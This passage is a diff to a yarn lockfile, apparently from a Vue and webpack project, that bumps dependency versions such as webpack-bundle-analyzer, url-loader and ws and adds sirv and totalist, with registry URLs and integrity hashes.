+ integrity sha512-crmjA4bLtR8m9qLpHvgxSChT+XoSlZi8J4n/aIdn3z92e/U47Z0V/yl+Wh9W046GgFVAmoNR/fmdbZYcSSIUeg==
dependencies:
- mime-db "1.44.0"
+ mime-db "1.47.0"
mime@1.6.0:
version "1.6.0"
@@ -8466,10 +8462,10 @@ moment-mini@^2.22.1:
resolved "https://registry.yarnpkg.com/moment-mini/-/moment-mini-2.22.1.tgz#bc32d73e43a4505070be6b53494b17623183420d"
integrity sha512-OUCkHOz7ehtNMYuZjNciXUfwTuz8vmF1MTbAy59ebf+ZBYZO5/tZKuChVWCX+uDo+4idJBpGltNfV8st+HwsGw==
-monaco-editor-webpack-plugin@^1.9.0:
- version "1.9.0"
- resolved "https://registry.yarnpkg.com/monaco-editor-webpack-plugin/-/monaco-editor-webpack-plugin-1.9.0.tgz#5b547281b9f404057dc5d8c5722390df9ac90be6"
- integrity sha512-tOiiToc94E1sb50BgZ8q8WK/bxus77SRrwCqIpAB5er3cpX78SULbEBY4YPOB8kDolOzKRt30WIHG/D6gz69Ww==
+monaco-editor-webpack-plugin@^1.9.1:
+ version "1.9.1"
+ resolved "https://registry.yarnpkg.com/monaco-editor-webpack-plugin/-/monaco-editor-webpack-plugin-1.9.1.tgz#eb4bbb1c5e5bfb554541c1ae1542e74c2a9f43fd"
+ integrity sha512-x7fx1w3i/uwZERIgztHAAK3VQMsL8+ku0lFXXbO81hKDg8IieACqjGEa2mqEueg0c/fX+wd0oI+75wB19KJAsA==
dependencies:
loader-utils "^1.2.3"
@@ -8924,10 +8920,10 @@ onetime@^5.1.0:
dependencies:
mimic-fn "^2.1.0"
-opener@^1.5.1:
- version "1.5.1"
- resolved "https://registry.yarnpkg.com/opener/-/opener-1.5.1.tgz#6d2f0e77f1a0af0032aca716c2c1fbb8e7e8abed"
- integrity sha512-goYSy5c2UXE4Ra1xixabeVh1guIX/ZV/YokJksb6q2lubWu6UbvPQ20p542/sFIll1nl8JnCyK9oBaOcCWXwvA==
+opener@^1.5.2:
+ version "1.5.2"
+ resolved "https://registry.yarnpkg.com/opener/-/opener-1.5.2.tgz#5d37e1f35077b9dcac4301372271afdeb2a13598"
+ integrity sha512-ur5UIdyw5Y7yEj9wLzhqXiy6GZ3Mwx0yGI+5sMn2r0N0v3cKJvUmFH5yPP+WXh9e0xfyzyJX95D8l088DNFj7A==
opn@^5.5.0:
version "5.5.0"
@@ -10457,7 +10453,7 @@ schema-utils@^1.0.0:
ajv-errors "^1.0.0"
ajv-keywords "^3.1.0"
-schema-utils@^2.0.0, schema-utils@^2.5.0, schema-utils@^2.6.5, schema-utils@^2.7.0:
+schema-utils@^2.0.0, schema-utils@^2.6.5, schema-utils@^2.7.0:
version "2.7.1"
resolved "https://registry.yarnpkg.com/schema-utils/-/schema-utils-2.7.1.tgz#1ca4f32d1b24c590c203b8e7a50bf0ea4cd394d7"
integrity sha512-SHiNtMOUGWBQJwzISiVYKu82GiV4QYGePp3odlY1tuKO7gPtphAT5R/py0fA6xtbgLL/RvtJZnU9b8s0F1q0Xg==
@@ -10684,6 +10680,15 @@ signal-exit@^3.0.0, signal-exit@^3.0.2:
resolved "https://registry.yarnpkg.com/signal-exit/-/signal-exit-3.0.3.tgz#a1410c2edd8f077b08b4e253c8eacfcaf057461c"
integrity sha512-VUJ49FC8U1OxwZLxIbTTrDvLnf/6TDgxZcK8wxR8zs13xpx7xbG60ndBlhNrFi2EMuFRoeDoJO7wthSLq42EjA==
+sirv@^1.0.7:
+ version "1.0.11"
+ resolved "https://registry.yarnpkg.com/sirv/-/sirv-1.0.11.tgz#81c19a29202048507d6ec0d8ba8910fda52eb5a4"
+ integrity sha512-SR36i3/LSWja7AJNRBz4fF/Xjpn7lQFI30tZ434dIy+bitLYSP+ZEenHg36i23V2SGEz+kqjksg0uOGZ5LPiqg==
+ dependencies:
+ "@polka/url" "^1.0.0-next.9"
+ mime "^2.3.1"
+ totalist "^1.0.0"
+
sisteransi@^1.0.4:
version "1.0.5"
resolved "https://registry.yarnpkg.com/sisteransi/-/sisteransi-1.0.5.tgz#134d681297756437cc05ca01370d3a7a571075ed"
@@ -11645,6 +11650,11 @@ toidentifier@1.0.0:
resolved "https://registry.yarnpkg.com/toidentifier/-/toidentifier-1.0.0.tgz#7e1be3470f1e77948bc43d94a3c8f4d7752ba553"
integrity sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==
+totalist@^1.0.0:
+ version "1.1.0"
+ resolved "https://registry.yarnpkg.com/totalist/-/totalist-1.1.0.tgz#a4d65a3e546517701e3e5c37a47a70ac97fe56df"
+ integrity sha512-gduQwd1rOdDMGxFG1gEvhV88Oirdo2p+KjoYFU7k2g+i7n6AFFbDQ5kMPUsW0pNbfQsB/cwXvT1i4Bue0s9g5g==
+
touch@^3.1.0:
version "3.1.0"
resolved "https://registry.yarnpkg.com/touch/-/touch-3.1.0.tgz#fe365f5f75ec9ed4e56825e0bb76d24ab74af83b"
@@ -11708,11 +11718,6 @@ try-to-catch@^1.0.2:
resolved "https://registry.yarnpkg.com/try-to-catch/-/try-to-catch-1.1.1.tgz#770162dd13b9a0e55da04db5b7f888956072038a"
integrity sha512-ikUlS+/BcImLhNYyIgZcEmq4byc31QpC+46/6Jm5ECWkVFhf8SM2Fp/0pMVXPX6vk45SMCwrP4Taxucne8I0VA==
-tryer@^1.0.0:
- version "1.0.0"
- resolved "https://registry.yarnpkg.com/tryer/-/tryer-1.0.0.tgz#027b69fa823225e551cace3ef03b11f6ab37c1d7"
- integrity sha1-Antp+oIyJeVRys4+8DsR9qs3wdc=
-
ts-invariant@^0.4.0:
version "0.4.4"
resolved "https://registry.yarnpkg.com/ts-invariant/-/ts-invariant-0.4.4.tgz#97a523518688f93aafad01b0e80eb803eb2abd86"
@@ -11783,6 +11788,11 @@ type-fest@^0.18.0:
resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.18.1.tgz#db4bc151a4a2cf4eebf9add5db75508db6cc841f"
integrity sha512-OIAYXk8+ISY+qTOwkHtKqzAuxchoMiD9Udx+FSGQDuiRR+PJKJHc2NJAXlbhkGwTt/4/nKZxELY1w3ReWOL8mw==
+type-fest@^0.20.2:
+ version "0.20.2"
+ resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.20.2.tgz#1bf207f4b28f91583666cb5fbd327887301cd5f4"
+ integrity sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==
+
type-fest@^0.6.0:
version "0.6.0"
resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.6.0.tgz#8d2a2370d3df886eb5c90ada1c5bf6188acf838b"
@@ -12004,14 +12014,14 @@ urix@^0.1.0:
resolved "https://registry.yarnpkg.com/urix/-/urix-0.1.0.tgz#da937f7a62e21fec1fd18d49b35c2935067a6c72"
integrity sha1-2pN/emLiH+wf0Y1Js1wpNQZ6bHI=
-url-loader@^3.0.0:
- version "3.0.0"
- resolved "https://registry.yarnpkg.com/url-loader/-/url-loader-3.0.0.tgz#9f1f11b371acf6e51ed15a50db635e02eec18368"
- integrity sha512-a84JJbIA5xTFTWyjjcPdnsu+41o/SNE8SpXMdUvXs6Q+LuhCD9E2+0VCiuDWqgo3GGXVlFHzArDmBpj9PgWn4A==
+url-loader@^4.1.1:
+ version "4.1.1"
+ resolved "https://registry.yarnpkg.com/url-loader/-/url-loader-4.1.1.tgz#28505e905cae158cf07c92ca622d7f237e70a4e2"
+ integrity sha512-3BTV812+AVHHOJQO8O5MkWgZ5aosP7GnROJwvzLS9hWDj00lZ6Z0wNak423Lp9PBZN05N+Jk/N5Si8jRAlGyWA==
dependencies:
- loader-utils "^1.2.3"
- mime "^2.4.4"
- schema-utils "^2.5.0"
+ loader-utils "^2.0.0"
+ mime-types "^2.1.27"
+ schema-utils "^3.0.0"
url-parse-lax@^3.0.0:
version "3.0.0"
@@ -12331,10 +12341,10 @@ vue-template-es2015-compiler@^1.9.0:
resolved "https://registry.yarnpkg.com/vue-template-es2015-compiler/-/vue-template-es2015-compiler-1.9.1.tgz#1ee3bc9a16ecbf5118be334bb15f9c46f82f5825"
integrity sha512-4gDntzrifFnCEvyoO8PqyJDmguXgVPxKiIxrBKjIowvL9l+N66196+72XVYR8BBf1Uv1Fgt3bGevJ+sEmxfZzw==
-vue-virtual-scroll-list@^1.4.4:
- version "1.4.4"
- resolved "https://registry.yarnpkg.com/vue-virtual-scroll-list/-/vue-virtual-scroll-list-1.4.4.tgz#5fca7a13f785899bbfb70471ec4fe222437d8495"
- integrity sha512-wU7FDpd9Xy4f62pf8SBg/ak21jMI/pdx4s4JPah+z/zuhmeAafQgp8BjtZvvt+b0BZOsOS1FJuCfUH7azTkivQ==
+vue-virtual-scroll-list@^1.4.7:
+ version "1.4.7"
+ resolved "https://registry.yarnpkg.com/vue-virtual-scroll-list/-/vue-virtual-scroll-list-1.4.7.tgz#12ee26833885f5bb4d37dc058085ccf3ce5b5a74"
+ integrity sha512-R8bk+k7WMGGoFQ9xF0krGCAlZhQjbJOkDUX+YZD2J+sHQWTzDtmTLS6kiIJToOHK1d/8QPGiD8fd9w0lDP4arg==
vue@^2.6.12:
version "2.6.12"
@@ -12419,24 +12429,20 @@ webidl-conversions@^6.1.0:
resolved "https://registry.yarnpkg.com/webidl-conversions/-/webidl-conversions-6.1.0.tgz#9111b4d7ea80acd40f5270d666621afa78b69514"
integrity sha512-qBIvFLGiBpLjfwmYAaHPXsn+ho5xZnGvyGvsarywGNc8VyQJUMHJ8OBKGGrPER0okBeMDaan4mNBlgBROxuI8w==
-webpack-bundle-analyzer@^3.9.0:
- version "3.9.0"
- resolved "https://registry.yarnpkg.com/webpack-bundle-analyzer/-/webpack-bundle-analyzer-3.9.0.tgz#f6f94db108fb574e415ad313de41a2707d33ef3c"
- integrity sha512-Ob8amZfCm3rMB1ScjQVlbYYUEJyEjdEtQ92jqiFUYt5VkEeO2v5UMbv49P/gnmCZm3A6yaFQzCBvpZqN4MUsdA==
+webpack-bundle-analyzer@^4.4.1:
+ version "4.4.1"
+ resolved "https://registry.yarnpkg.com/webpack-bundle-analyzer/-/webpack-bundle-analyzer-4.4.1.tgz#c71fb2eaffc10a4754d7303b224adb2342069da1"
+ integrity sha512-j5m7WgytCkiVBoOGavzNokBOqxe6Mma13X1asfVYtKWM3wxBiRRu1u1iG0Iol5+qp9WgyhkMmBAcvjEfJ2bdDw==
dependencies:
- acorn "^7.1.1"
- acorn-walk "^7.1.1"
- bfj "^6.1.1"
- chalk "^2.4.1"
- commander "^2.18.0"
- ejs "^2.6.1"
- express "^4.16.3"
- filesize "^3.6.1"
- gzip-size "^5.0.0"
- lodash "^4.17.19"
- mkdirp "^0.5.1"
- opener "^1.5.1"
- ws "^6.0.0"
+ acorn "^8.0.4"
+ acorn-walk "^8.0.0"
+ chalk "^4.1.0"
+ commander "^6.2.0"
+ gzip-size "^6.0.0"
+ lodash "^4.17.20"
+ opener "^1.5.2"
+ sirv "^1.0.7"
+ ws "^7.3.1"
webpack-cli@^3.3.12:
version "3.3.12"
@@ -12681,17 +12687,17 @@ write-file-atomic@^3.0.0, write-file-atomic@^3.0.3:
signal-exit "^3.0.2"
typedarray-to-buffer "^3.1.5"
-ws@^6.0.0, ws@^6.2.1:
+ws@^6.2.1:
version "6.2.1"
resolved "https://registry.yarnpkg.com/ws/-/ws-6.2.1.tgz#442fdf0a47ed64f59b6a5d8ff130f4748ed524fb"
integrity sha512-GIyAXC2cB7LjvpgMt9EKS2ldqr0MTrORaleiOno6TweZ6r3TKtoFQWay/2PceJ3RuBasOHzXNn5Lrw1X0bEjqA==
dependencies:
async-limiter "~1.0.0"
-ws@^7.2.3:
- version "7.3.0"
- resolved "https://registry.yarnpkg.com/ws/-/ws-7.3.0.tgz#4b2f7f219b3d3737bc1a2fbf145d825b94d38ffd"
- integrity sha512-iFtXzngZVXPGgpTlP1rBqsUK82p9tKqsWRPg5L56egiljujJT3vGAYnHANvFxBieXrTFavhzhxW52jnaWV+w2w==
+ws@^7.2.3, ws@^7.3.1:
+ version "7.4.4"
+ resolved "https://registry.yarnpkg.com/ws/-/ws-7.4.4.tgz#383bc9742cb202292c9077ceab6f6047b17f2d59"
+ integrity sha512-Qm8k8ojNQIMx7S+Zp8u/uHOx7Qazv3Yv4q68MiWWWOJhiwG5W3x7iqmRtJo8xxrciZUY4vRxUTJCKuRnF28ZZw==
ws@~3.3.1:
version "3.3.3"